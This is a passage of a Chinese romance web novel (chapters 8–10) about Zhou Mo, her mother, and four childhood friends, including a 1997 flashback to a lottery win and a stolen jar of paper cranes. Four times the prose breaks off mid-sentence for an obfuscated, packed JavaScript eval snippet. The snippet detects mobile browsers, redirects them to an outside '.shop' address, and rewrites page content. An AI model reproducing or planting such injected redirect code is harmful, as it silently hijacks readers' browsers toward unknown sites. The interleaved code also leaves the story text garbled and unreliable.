已经烧得小脸通红的周墨却说什么也不肯走,怀里抱着满满一玻璃罐的千纸鹤,嘴里嘀嘀咕咕说要寄去香港。 周海山不明所以,老师解释:“之前说好的,最后一天要将小朋友们叠的千纸鹤一起寄出去,送给香港的小朋友们。” 于是周海山哄女儿:“小墨,你把千纸鹤交给老师,等大家要寄件的时候,帮你一起寄出去好不好?” 周墨摇头,死死搂着玻璃罐不肯撒手,“不行不行,我要自己寄!” 最终,谁也没能从周墨手里将千纸鹤玻璃罐拿走。 等周墨退烧睡醒,已经是第二天了。 她躺在家里属于自己的的小床上,一眼看到床头的千纸鹤玻璃罐。 那是一个多月的心血,是似懂非懂的殷切期盼。 虽然在一个六岁小孩的心里,也不太懂香港是什么,回归又是什么。老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093680|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师只是告诉他们,祖国即将迎来一个大日子,而他们将要通过折千纸鹤,成为重大历史时刻的见证者。 总归是很了不起的。 然而,周墨却因为生病错过了。 整整一个暑假,周墨都沉浸在悲伤的情绪中,甚至只要一看到那罐千纸鹤,就要掉上几颗眼泪。 以至于,她并没有注意到,从某一天开始,来家里串门的亲戚好像突然多了起来。 她更不会知道,这满满一玻璃罐来不及振翅的千纸鹤,会在多年后的某一天,完成属于自己的奔赴,成为某位少年最黑暗时光的救赎。 …… 周墨回卧室以后,客厅便彻底安静下来。 终归不再是十几岁时一言不合大打出手的年纪,三个男人如今也都是有头有脸的人物,各有各的矜持高傲。 没有周墨在场,他们对峙片刻,便觉索然无味。 周美丽女士还在,徐子衿不能真的将两人赶出去,便只能耐着性子埋头打扫。 林跃琮拿出手机,抱着毛绒熊回复消息。 陈向远百无聊赖地到处溜达,从落地窗边的书架上拿了本书。 书本抽出瞬间,有什么东西从夹缝中缓缓飘落。 不仅陈向远注意到了,林跃琮和徐子衿也第一时间移来目光。 那是一只千纸鹤,安静地落在地板上,泛白的折痕和褪色的花纹,无不昭示着岁月的痕迹。 陈向远弯腰将纸鹤捡起来,讶异道:“我记得周墨不是有满满一罐这样的千纸鹤么,宝贝的跟什么似的,都不让我们碰。后来都去哪儿了?好像突然就不见了。” 林跃琮看着陈向远手中的纸鹤,轻笑一声。 “还能去哪儿了,当然是送我了。” 陈向远瞪大了眼睛,不可置信道:“送你了?” “不然呢?” “什么时候的事儿?我怎么不知道?!” “就是我离开滨城那年,她送我的告别礼物。”林跃琮态度随意,一边说一边继续低头回消息。 徐子衿在一旁冷笑。 “林跃琮,你可真能编啊。你滚蛋那天,我又不是没看到,怎么没见周墨送你千纸鹤呢。” 林跃琮脸不红心不跳地抬起头,看着徐子衿悠然一笑。 “林大公子难道不知道,妹妹不会什么都跟哥哥说么?” 他特意在“妹妹”两个字上加重了语气。 徐子衿脸色变了变。 果然,这么多年过去了,林跃琮还是林跃琮,总能轻易击中对手要害。 可徐子衿又怎会容忍自己吃瘪。 “是么。”他也悠然一笑,“那我家里放着的那罐千纸鹤,又是哪里来的?” 两个男人彼此对视,可惜谁都没能从对方神情中看出破绽。 最后还是林跃琮不咸不淡说了一句:“是么,那还真是奇了,我们居然都有呢。” 陈向远手里翻着书,目光却在两人脸上逡巡。 他分辨不出他们谁在说谎,他只知道,那罐被周墨视如珍宝的千纸鹤,不管是送给了谁,总归是没送他! 他恨不能现在就冲进卧室质问周墨,为什么不送他。 难道他不是她最重要的人么? 她都愿意跟他领证了! 8. 008 砰的关门声,将周墨从回忆中惊醒。 “哎呀,北京的菜还是贵呀!滨城的五花肉才八块一斤!这边都卖到十五了!不过这边的鱼真新鲜,种类也多!” 朱美丽女士的声音高亢地穿透门板,抱怨的同时,又不免带上满载而归的雀跃,像个兴致勃勃的女猎人。 林跃琮说:“丽姨,在北京想买到便宜实惠的生鲜,得去大集上,过两天等您休整好了,我开车带您去转转。” “行呀,那敢情好了!然后你们几个都来家里吃,趁我在北京,好好给你们解馋!” “那可太好了,就是怕您太辛苦。” “嗨,做饭有什么辛苦的。” 周墨从房间出来时,正看到林跃琮接过朱美丽手里的菜,两人达成了新一轮邀约。 她急忙走过去,将东西抢过来,对朱美丽说:“妈,您可别闹了,还以为是小时候呢?他们几个现在都是大忙人,天天应酬,生猛海鲜吃到吐,哪有空来家里吃饭!” 话音方落,四人几乎异口同声地说:“有空!” 周墨嘴角抽搐。 朱美丽却像一只斗胜的大公鸡,“你看,你懂什么,越是天天在外面吃饭应酬的人,越是觉得家里的饭香,对吧?” 四人又是异口同声:“对!” 周墨:“……” “朱美丽女士,色令智昏,你不能因为他们四个是帅哥,就被哄成翘嘴。”周墨义正言辞地教训亲妈。 朱美丽直接给了她一巴掌,“胡说八道什么呢!” “就是,胡说八道什么呢?”陈向远跟着附和。 他这次反应最快,见朱美丽进厨房围上围裙,赶紧将仅剩的另一条围裙套自己身上,然后花蝴蝶一样地舞上去:“丽姨~~我来给你打下手啦!” 另外三个也不甘示弱,摘菜的摘菜,切肉的切肉。 小小的一个厨房里同时塞了四个身高一米八朝上的男人,将珠圆玉润的主厨簇拥在当中。 周墨想挤都挤不进去,只能站在厨房门口说:“你们不嫌挤么?能转开身么?” 却遭到朱美丽一个白眼,“你不干活就不干活,还在这里说风凉话,去,去客厅扒蒜!” 周墨手里顿时多出两头大蒜。 “妈,给我吧,小墨她最不喜欢扒蒜。” 尚没捂热乎的蒜头被徐子衿拿过去,周墨又成了不干活的人。 “你就惯着她吧!我看以后谁还敢娶她。”朱美丽气哼哼地斥了徐子衿一句。 徐子衿没说话,蹲在垃圾桶边扒蒜,唇角微微扬起。 没人敢娶才好,他来娶。 手心里又重新被人塞了个东西。 这回不是大蒜头,而是一个苹果。 周墨抬头看给她苹果的人。 岳朗冲她眨眨眼:“这苹果特好吃,又酸又甜。” “洗了么?”周墨问。 “洗了。” 周墨咔嚓一声,将苹果咬了一口,酸甜的味道瞬间在齿间蔓延开。 “怎么样?”岳朗一脸期待。 周墨:“像站在洒满阳光的苹果树下。” 岳朗愣了一下,忽然笑起来,眼睛看着周墨。 周墨稍微凑近他,小声问:“你不去海南出差了么?” 岳朗低头,也凑近她,“还是得去,改成明天一早的了。” 两人交头接耳的样子落在其他人眼中,略显碍眼。 三个男的是看岳朗不顺眼,朱美丽女士则是看自己游手好闲的亲闺女不顺眼。 陈向远端着一盆海白虾过来,颐指气使地对岳朗说:“你来挑虾线吧,这个活你擅长。” 朱美丽说:“给周墨弄,反正她也是闲着,还有空吃苹果呢。” 岳朗笑道:“不用了丽姨,我确实擅长弄这个,还是我来吧。弄一手腥味,还怎么吃苹果啊,是吧?”说完还冲周墨做了个鬼脸。 朱美丽依然不肯放弃使唤周墨,“那你去丢垃圾。” 林跃琮说:“不用了丽姨,垃圾放在一起,等我晚上走的时候顺便就丢了。” 朱美丽看出来了,只要有这几个在,估计也是轮不到周墨干活,于是也就听之任之了。 周墨彻底成了个饭来张口的,啃着苹果拿出手机,对着厨房里的五个人拍了张照片。 她点开微信,将照片发给了自己的发小卫青青。 并且配文:【四个霸总给朱美丽女士打下手】 对面几乎秒回:【卧槽】 间隔了一分钟,又是接连的三个【卧槽】。 周墨:【你怎么了,这么激动?】 卫青青是周墨小学三年级的时候转到她班上的,两个人之后又上了同一个初中,同一个高中,一直如胶似漆地混到高中毕业,才因为异地求学而不得不分开。 在美国接受了法学教育的卫大律师,也就是卫青青她爸,甚至一度怀疑两个小丫头片子在搞同性恋。 卫青青:【小墨墨,中间那个切肉的帅逼,你别告诉我他是林跃琮!!】 周墨:【很不幸,就是他。】 卫青青用文字表示自己此刻正在发出尖锐爆鸣。 【啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!】 周墨一瞬间密恐犯了,叼住苹果改成双手打字。 【怎么,你暗恋他?】 卫青青似乎情绪过于激动,平复了片刻才回复,这次倒是没再打无意义的语气词,言简意赅,信息量巨大。 【你知道他是谁么他现在可是红松资本的核心人物,红松资本最近要换法务合作方,你务必帮姐妹一把,让他们优先考虑我们所!!】 周墨觉得自己刚才真的是罪孽深重。 她怎么会以为她的好姐妹会因为男人肾上腺素飙升呢? 【这个……林跃琮有那么大的话语权么?】周墨表示怀疑。 【怎么没有呢!!再说了我们所资质也不差,就是和其他的竞争方对比没有显著优势,几家现在都削尖了脑袋找人脉活动呢,要是林跃琮能帮我们说两句话,这单可能就拿下来了!】 周墨迟疑了片刻,她现在其实不想和林跃琮有过多牵扯,特别是那天两人吃过饭后,他的暧昧态度,让她避之不及。 半天没等到回复,卫青青急了,开始对周墨展开连翻轰炸。 【小墨墨,小墨墨,求求你了!】 【你也知道的,我现在日子不好过!】 紧跟着发了可怜巴巴的小狗表情。 然后又发了个匍匐跪地的小人表情。 周墨叹了口气,【那我找时机,帮你问一嘴吧。】 卫青青又发来一个小猫抱大腿蹭蹭的表情。 厨房的备菜区不够大,徐子衿端着两盘切好的食材出来,放在客厅的餐桌上。 经过周墨身边,他随意瞥了一眼,“跟谁聊天呢?” 周墨头也不抬,“卫青青。” 徐子衿应了一声,忽然想起什么,对周墨说:“我们公司已经和他们律所续约了。” “嗯嗯,听青青说了,谢谢哥哥。”周墨感谢得很不走心。 这时林跃琮也端了两盘食材过来,刚好听见周墨叫徐子衿哥哥,眼神有一瞬的晦暗。 “第一次听你这么叫他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093681|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真有点不习惯呢。” “哦,是么。”周墨本不打算理林跃琮的,不过一想到卫青青,又硬着头皮抬起头,冲林跃琮笑了笑,“那你多听几次就习惯了。” 林跃琮盯着她看了片刻,忽然语出惊人:“有事求我?” 周墨:“………………” 见周墨惊呆的表情,林跃琮却收敛了笑意,淡淡丢下一句:“笑得怪假的。”然后转身回厨房去了。 徐子衿看着周墨,正想说什么,却听见了厨房里朱美丽的召唤。 “子衿呐,你看到我那菠萝了吗?” “哎,来了。”徐子衿匆匆应召而去。 周墨心里给亲妈磕了个头。 她可不想让徐子衿知道自己有求于林跃琮,这会让她有种强烈的羞耻感。 毕竟,她和林跃琮的过去,只有徐子衿知道。 朱美丽女士已经很久没有像今天这样,一次做这么多道菜了。 毕竟不是年轻的时候,忙活下来难免腰酸背疼。 陈向远强行将人从灶台旁架走,按在沙发里揉肩捶背。 剩下的两道菜,一个地三鲜,一个锅包肉,都由徐子衿掌勺。 林跃琮拿来一瓶好酒,岳朗负责端菜。 周墨怕被骂,在朱美丽一个眼刀之下收起手机,跑去摆碗筷。 “林总顺便送我妈回来,居然还能顺便再提一瓶好酒。” 林跃琮用醒酒器醒酒,周墨在旁摆碗揶揄。 “朋友送的,一直放在车上忘记拿。毕竟是第一次上门,总不能空手。”林跃琮说到这里,忽然侧头,声音压低,“下次来,给你送茅台。” 男人的气息轻轻掠过耳畔,摆了满桌的菜肴在眼前,而周墨想到的,却是胡同里那家私房菜昏暗的灯光。 她被困在扶手椅中,而唯一的光源,也被那道高挑的身影遮挡。 压抑的光影中,他俯身问她:“来北京了,既然要假结婚,为什么跟别人,不跟我?” “好啊,我要汉帝茅台。”周墨狮子大开口。 汉帝茅台,全球限量十瓶,行价920万。 林跃琮眼底的阴霾总算散开,笑道:“还和以前一样,是个财迷。” 周墨心里微微松了口气。 从小被强行塞进贵族学校,她其实很擅长和有钱的少爷小姐们打交道,对林跃琮,更知道该如何讨好取悦他。 卫青青,你高低得给老娘磕一个。 周墨心里默默吐槽, 要不是为了发小的事业,她何至于重操旧业,小心翼翼伺候这狗东西。 徐子衿将最后两道菜端上桌,就算正式开餐。 朱美丽坐在主位,一个一个打量过去,眼圈有点红。 这又何尝不是另一种意义的团圆饭呢? 想想上一次像这样,一个不少地和孩子们坐在一起吃饭,已经是八年前了。 朱美丽端起酒杯,觉得自己总该意思意思,说点啥。 “哎,人这一上了岁数,就容易想以前的事。还记得你们第一次吃阿姨做的饭么?” 周墨插话:“你放心,朱美丽女士,没上岁数也容易想以前的事。” 朱美丽瞪她,好不容易酝酿好的情绪,全都被破坏了。 陈向远嬉皮笑脸的,惯会哄朱美丽开心。 “丽姨,我天天都能想起第一次见您的样子。” 岳朗呵呵一声,“怕不是你的屁股在想吧。” 死去的记忆忽然发动攻击。 周墨记起来,这帮家伙第一次来她家吃饭那次,好像……全都挨了朱美丽女士一顿胖揍。 9. 009 周海山中了彩票特等奖,六十万,上了本地新闻。 普通人这辈子哪见过这么多的钱,周海山傻了,朱美丽也懵了。 消息传出去没多久,周家就开始陆续有人登门造访。 所为何事? 两个字:借钱! 1997年,正是滨城商品房开始全面市场化的节点,贷款买房,也开始成为一个时髦词汇。 不过那个年代,大部分人还是对向银行借债买房心存芥蒂,能从亲戚朋友那里筹钱的,都会想尽办法凑一凑。 所以周海山一下就成了亲朋好友眼中的香饽饽。 只是周海山万万没想到,第一个上门借钱的,居然是他们单位的车间主任。 而且一开口就是十万! 主任说得客气,可是话里话外的意思,厂里这些年不景气,正在推行“减员增效”,他们车间也有下岗名额,正等着确定具体人员名单, 紧接着是单位的其他同事,关系近的远的,都来开口,少则几千,多则上万,虽然都没有车间主任要的那么多,架不住人多。 七七八八加在一起,也有小二十万了。 周海山只是个老实本分的车间弯管工,谁也不敢得罪,可如果都答应了,这彩票大奖就去了一半。 要只是这样,或许还不足以支撑周海山做出后来那惊天动地的壮举。 没过几天,周家和朱家两边的亲戚也陆续找上来,要么为了买房,要么为了孩子上学,老人看病。 这下可好了,要是都答应下来,买彩票中的六十万非但剩不下半毛钱,他们还得自掏腰包再搭进去七八万。 普通人没见过这么多钱,可是作为普通人的周海山和朱美丽,也从来不知道原来这么多钱,也可以如此轻易地被肢解、吞噬。 眼看着周墨就要上小学了,他们不仅还在租房,而且按片区划分,他们这里对口的小学教学质量十分一般,听说学校风气也不太好。 为人父母,总是想尽量托举孩子。 所以周海山中彩票的第一个念头,就是想给闺女买个好点的学区房。 于是那一双双向周家伸过来的手,不再只是人情世故。 那是在按灭照亮周墨前途的一盏盏灯。 是在撕扯属于她的利益。 周海山连续几天,一下班回家就躲到阳台抽烟,一根接一根,愁容满面,白头发都多了几根。 后来他忽然向单位请了几天假,跟朱美丽说要出去看房子。 朱美丽两年前就下岗了,在一家饭店做副厨,不能随便请假,况且还要照顾放假在家的周墨,所以只能由周海山一个人去看。 周海山连着看了三天,当天晚上刚回家,周墨的三叔就找上了门。 “大哥,您今天就给个准信儿,这钱,到底能不能借!别一棍子打不出个屁来!” 朱美丽正在旁边包饺子,听到这最后一句,暴脾气上来,一擀面杖敲在桌上。 “周老三你说什么呢!有你这么跟自己大哥说话的么!知道的你这是借钱,不知道的还以为我们欠了你家钱呢!” 周海山脾气好,不喜欢与人争执,朱美丽轻易不发火,今天也是忍到极限了。 周老三还是有点怕这个嫂子的,赔笑道:“嫂子,我这不也是为了小军的事着急么,您说这孩子马上就要上小学了,我们家那附近的对口学校又不好……” 朱美丽挥舞着擀面杖吼:“哦!说得好像我们小墨就不用上小学了。” 周老三生怕那一擀面杖抡自己头上,向后躲着缩起了脖子,“大哥中了六十万,我就管他借十五万而已……” 这次还不等朱美丽说话,周海山先开口了。 “老三,这钱,没法借了。” 周老三瞪起眼,“没法借?什么意思?!” 周海山:“花光了,没了。我今天出去,买了套房,花了五十多万。” 周老三跳起来,“什么房子,你花了五十多万!?” 周海山:“锦上花园的房子,一栋别墅。” 周老三:“……” 朱美丽也惊呆了,像是在听天方夜谭。 “大哥你疯了吧?这日子不过了啊?锦上花园那是什么地方,听说都是大老板和当大官的才能住得起的房子啊!”周老三那副痛心疾首的样子,好像周海山花的是属于他的钱。 周海山不吭声了,只是默默拿出了房产证。 周老三眼看着房本上那300多平的面积,眼睛都红了。 不过他还是不死心,心中抱着最后的希望,“那不是,那不是还剩了不到十万么?我少借点也行……” 谁知周海山还是摇头,“没了,我给周墨办了中山小学的国际班,学费一年一万,一次交了六年,能打八折。我下岗了,还剩下几万块钱,想跟你嫂子一起做点小生意。” …… 1997年的这个夏天,周海山的风评彻底崩了。 他从人人口中的幸运儿,本分踏实的大好人,变成了一个疯子,一个不会过日子的败家子儿。 单位的车间下岗工人名单最终确定,上面有周海山的名字。 年仅六岁的周墨对这一切一无所知。 她只知道,九月一号开学的前一天,她忽然跟着爸爸妈妈搬进了一幢很大很大的房子。 这房子甚至比她之前上的幼儿园还要大。 房子周围绿树成荫,还有大片大片的草坪,像个大公园。 公园里有十几栋和他们家一样的房子,他们搬家这天,另有一栋相邻的楼,也有人在进进出出地搬运家具。 小楼门前有两个小男孩,一个看着和周墨差不多大,眼睛很大,另外一个比周墨小一点,像只小黑猴子。 两人正在地上摔着什么东西,嘴里念念有词。 周墨瞧了一眼,圆形的塑料片片。 她认出那是小虎队干脆面里附赠的“旋风卡”,最近在男孩子中很流行玩这个。 她怀里还抱着装满千纸鹤的玻璃罐,那两个小男孩也注意到他。 大的那个看着他那玻璃罐问:“那些都是你折的?” 周墨很是骄傲地挺起了胸膛,“是啊,要寄去香港的。” 小男孩拍拍手站了起来,走到周墨面前,笑得很友善,“我叫陈向远,你叫什么?” “周墨。” 这时小的那个也过来了,比陈向远挨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093682|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个头,一双眼睛亮亮的,虽然皮肤黑,五官却很漂亮。 陈向远介绍:“这是我弟弟,陈向朗。你几岁?” 周墨如实回答:“六岁。” 陈向远继续问:“你几月份的生日?” 周墨:“十一月。” 陈向远和弟弟陈向朗对视一眼,两人露出一模一样的坏笑。 小孩子世界的公认规则,大的可以欺负小的。 “我是六月的,比你大!叫哥哥!” 周墨不叫。 陈向朗在一旁轻轻牵了牵周墨的手,甜甜地叫了一声:“小墨姐姐。” 周墨有点不好意思,垂下眼。 谁知就在这时,陈向远忽然伸手,一把夺过周墨怀里的罐子,兄弟两人哈哈大笑着转身就跑。 “还给我!把千纸鹤还给我!!”周墨气得哇一声哭出来,在后面追。 两个猴子似乎很熟悉这里的地形,七拐八拐,转眼就钻进树丛,不见了踪影。 周墨寻不到人,又发现自己迷路了,找不回去,哭得更汹涌了。 她没有注意到,有好听的音乐声从旁边的别墅内传出来。 “喂,吵死了!能不能别哭了!” 音乐声停了,一个男孩从别墅的开放式阳台探出半个身子。 周墨不知道这人在跟自己说话,还在哭得一抽一抽。 “喂!你!你!别哭了!” 周墨后知后觉地抬起头,看到一个长得白白净净的小男孩,正一脸嫌弃看着自己。 别墅的大门打开,周墨看见从里面走出来一个穿着深色套装的女人,一手拿着黑色砖头一样的东西,正放在耳边冲里面说话。 女人注意到周墨,对着“砖头”说:“先挂了,回头到了公司再说。” 然后摸了摸周墨的头,“小朋友,你怎么了,为什么哭?你家长呢?” 那个依然站在阳台的男孩,抱着双臂,审视的目光落在周墨身上,像高傲的,站在城堡里的王子,在审视他的臣民。 “最讨厌爱哭鬼了,鼻涕虫。”他说。 穿套装的女人伸手指他,语气充满警告:“徐子衿!你给我闭嘴!” 男孩淡淡瞥了一眼,回房间去了。 优美的钢琴旋律再次飘出,周墨这次听见了,一时间竟然忘记哭。 这还是她第一次听钢琴声,也是第一次见到会弹钢琴的人。 “小朋友,你是这个小区的么?是不是迷路了?”套装女人半蹲下身。 这样放低身体的交流方式,能给小朋友带来最大的安全感。 周墨乖乖地点头,指了指来的方向,“我从那边过来的,我们今天搬家。” 女人笑起来,“哎呀,哪来的这么可爱的小娃娃,走,阿姨带你找你爸爸妈妈去。” 周墨被徐子衿的妈妈送回了家,朱美丽这会儿已经找她找疯了。 千恩万谢过徐夫人,朱美丽才想起来教训女儿,“你怎么能随便乱跑呢!不怕被人拐走呀!” 周墨这会儿才想起来自己那罐被抢的宝贝,再次哭起来,小手指向一旁的别墅,向朱美丽大声控诉:“他们!抢走了我的千纸鹤!呜呜呜呜……” 10. 010 朱美丽女士知道那罐千纸鹤对女儿的意义,所以并没打算大事化小,小事化了。 她牵着身为苦主的周墨,去了隔壁的别墅。 相比于周墨家的刮大白式装修,这栋别墅的内部才更符合人们对豪宅的刻板印象。 走进别墅,周墨第一眼就被上方悬挂的巨大水晶吊灯吸引了注意力。 一瞬间,没见过什么世面的她,对童话故事里王子和公主的家有了实感。 “你们是……” 因为还在搬运家具,别墅的大门是敞开的,客厅里站着一个穿着时髦的女人,正在指挥工人们将东西放在指定位置。 看到朱美丽和周墨,女人露出疑惑表情。 “不好意思,我们是隔壁刚搬过来的,刚才我女儿和您家两个小孩玩,将一罐千纸鹤落在他们那里,现在找不到人了。”朱美丽说得很客气。 周墨有点怯地躲在朱美丽身后,好奇打量面前的阿姨。 即便在对美丑的概念还十分模糊的年纪,周墨也能清晰地认识到这位阿姨的漂亮。 她一身长裙,白色皮质腰带拢出不盈一握的纤腰,一头浓密的波浪长发,衬得那张瓜子脸更显小,皮肤白得晃眼,走过来带起一阵香风。 女人一听她们来意,露出了然表情。 她走到别墅门口,高跟鞋鞋跟又细又长,走起路来摇曳生姿。 “陈向远!陈向朗!他妈的给老娘滚出来!是不是又抢人家东西了!” 一声河东狮吼,高亢又嘹亮。 周墨和朱美丽对视一眼,都在对方眼中看出了敬畏。 “我数三个数,再不出现今晚就别回来了!!” 女人不知道从哪里拎出来一根木棍子,对着院外的铁栅栏铛铛铛一顿猛敲。 周墨去年跟父母回农村老家,看到过类似场景,只不过那时候人家是在赶羊进圈。 陈家兄弟也不知道从哪里钻出来,嬉皮笑脸看着女人。 女人将棍子对准他们:“拿出来。” 两个皮猴子伸出四只空荡荡的脏爪子。 “我警告你们啊,快把人家小姑娘的千纸鹤交出来!” 朱美丽领着抽抽搭搭的周墨回家。 两人身后的别墅内,陈家两兄弟正在亲娘的棍棒下鬼哭狼嚎。 朱美丽听得有点于心不忍,劝周墨:“哎,看开点吧。都打成那样了,还不松口,这放在抗日时期高低是个民族英雄。” 周墨哭得快断气了,还不忘反驳朱美丽:“英雄,英雄才不会抢我的千纸鹤!” 没过多久,漂亮女人登门。 她换了一身张扬热烈的红裙,戴着墨镜,不由分说将一沓钱塞给周墨。 朱美丽哪里肯要,急忙推拒回去。 女人大大咧咧挥手:“嗨,俩兔崽子把小姑娘的东西弄没了,这点钱给她买点好吃的好玩的高兴一下!不说了,我这急着去打麻将,咱回头再聊哈!” 女人丢下钱便风风火火地走了。 可六岁的周墨还不爱钱,所以这事在她这里没翻篇。 她和陈家兄弟算是结了仇。 第二天开学报到,周墨在教学楼的走廊内寻找自己的班级。 这时听见身后有人叫她名字:“周墨!” 周墨回头,看到穿得人模狗样的陈向远。 “你居然也在这里上学!” 陈向远似乎是属金鱼的,看见周墨很开心,好像完全不记得有关千纸鹤的事,更不记得因此挨的打。 “你哪个班的?” 他走到周墨身边,十分自然地将胳膊环过周墨的脖子,跟她勾肩搭背起来。 “一年四班的。” 周墨嫌弃地皱眉,用手将陈向远的爪子从肩头扒拉下去。 “这么巧!我也是四班的!咱们居然是同班同学诶!” 陈向远更高兴了,一边左右张望地找班级,一边顺其自然再次将爪子搭上来。 就这样一个往下扒拉,一个往上搭,两人找到了教室。 讲台旁站着一个女老师,正埋头在本子上给学生们做签到,看到同时出现的陈向远和周墨,愣了一下。 两个孩子都生得好漂亮。 "你们都是咱们班的么?" “对!老师,我叫陈向远,她叫周墨!” 老师成功在名单上找到了两人的名字,笑问:“你们认识呀?” 陈向远丝毫不带怯场的。 “是啊老师,我们住一个院,是好朋友!” “这样的话,那你们两个就当同桌吧,坐后面靠窗那张桌子。” 周墨反应慢半拍,还不等开口拒绝,已经被陈向远拉着跑了。 结果就在座位后排,看到了另一张熟悉的面孔。 是那个会弹钢琴的男孩。 徐子衿绝对认出周墨了,可他目视前方,面无表情,似乎将她当做了空气。 周墨最记仇了,她记得这人骂她是爱哭鬼鼻涕虫。 你不理我,我还不想理你呢。 虽然被两个讨厌的人环绕,但是周墨很喜欢听老师讲课,一上午聚精会神地过去了。 陈向远则像个多动症儿童,好不容易挨到午饭时间,猴一样窜出教室。 学校有组织热饭的地方,周墨去取了自己从家里带来的饭盒,打开喷香扑鼻,里面是朱美丽精心为她准备的午餐——红烧排骨搭配清炒豇豆。 午休期间教室里几乎没什么人,只有零星两三个学生,像周墨一样带了饭。 大部分人都不知道去了什么地方,比如周墨后面的徐子衿和他同桌,都不见了踪影。 周墨以为陈向远也不在教室吃饭,谁知不一会儿,这人居然回来了。 陈向远怀里抱着二三十包小虎队干脆面。 一路走到座位,还掉了两三包,被同学好心帮忙捡起来。 陈向远随手打开两包,取出里面的“旋风卡”看一眼,又一脸失望地塞回去,递给那个帮他捡起干脆面的同学。 “送你了。” 他继续拆剩下的干脆面,似乎都没拆到自己想要的旋风卡卡面,拆一包送一包,最后自己只留了两包,百无聊赖地趴在桌上啃了起来。 眼角余光不时瞥向周墨的饭盒。 “你中午就吃这个?”周墨叹为观止。 “对啊,怎么了?” “真没营养。”周墨学着朱美丽的口吻,一本正经道:“小孩吃干脆面不吃饭,会不长个的。” “切,可我还是比你高。” 周墨眼珠一转,将饭盒往陈向远那边推了推,抿着嘴凑近。 “咱俩换呀?” “换……换什么?”陈向远虽然这么问,眼睛已经盯住了饭盒里的排骨,下意识吞咽口水。 “我吃你这个,你吃我这个。” “真的啊?” “真的,但是有个条件,你把那罐千纸鹤还给我。” 陈向远搞明白周墨所求,顿时坏笑起来。 “不行。” “那你继续吃干脆面吧!” 周墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093683|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把将饭盒拉回来,将一块排骨塞嘴里,故意吃得很香。 “哼,不就是破排骨么,谁稀罕!”陈向远嘴上这么说,乌溜溜的眼睛却紧盯着周墨的饭盒。 晚上放学回家,周墨迫不及待要和朱美丽女士分享自己的小学生开学第一天见闻。 “妈妈,妈妈,你知道我的同桌是谁么!是陈向远!就是那个抢走我千纸鹤的邻居!他中午还吃干脆面不吃饭!” 可朱美丽女士却一反常态,听得心不在焉,一点都不捧场。 周墨不高兴了,将剩下的话都藏在了肚子里。 若是放在以前,即使朱美丽注意不到女儿的情绪变化,周海山也会注意到。 可是今天的饭桌上,两人似乎都在为什么事犯愁,一顿饭吃得很沉闷。 终于,还是朱美丽叹了口气,打破沉默。 “哎,我就说你太冲动了,何苦非得买这套房子。” 周海山挠了挠头,“我也不懂,这小区居然还要交物业费的,咱们以前也没听说过啊。不行……咱再把这房子卖掉?” “疯了么!一买一卖的手续费,加上装修,要赔进去好多钱。而且这里学区好,周墨以后升学方便。” “那怎么办……”周海山跟着叹气。 朱美丽用筷子戳着碗里的饭,若有所思。 “我听说最近很流行那什么‘小饭桌’的,我看这小区里的人好像都不太开火,上学的孩子又多,你说我要不要也开个小饭桌?” 周海山向来是朱美丽女士全肯定。 “你做饭好吃,想开的话一定能开起来,就是太辛苦了。” “做饭有什么辛苦的,要是真行的话,饭店的工作我就辞了。” 朱美丽是个行动派,头天晚上有了想法,第二天就出去贴小广告了。 这个时候,周墨还没有意识到这会对自己未来的生活产生什么样的影响。 她中午照旧去取盒饭,今天朱美丽给她带的油爆虾和炒菜花。 陈向远今天倒是没再批发干脆面,神神秘秘拎了袋子回来,是学校门口卖的炒面。 “你要不要吃?可好吃了!我特意加了火腿肠!” 陈向远献宝一样打开袋子,将装了炒面的盒子推到周末跟前。 热气腾腾的炒面散发着香味,朱美丽对周墨的饮食管得很严,几乎从不让她吃路边摊,所以她越发好奇,一时间竟然忘了这是“仇人”的东西。 她小心翼翼用筷子挑起一根面,放进嘴里。 “怎么样?”陈向远一脸期待。 “不怎么样,比我妈妈做的差远了。”周墨如实评价。 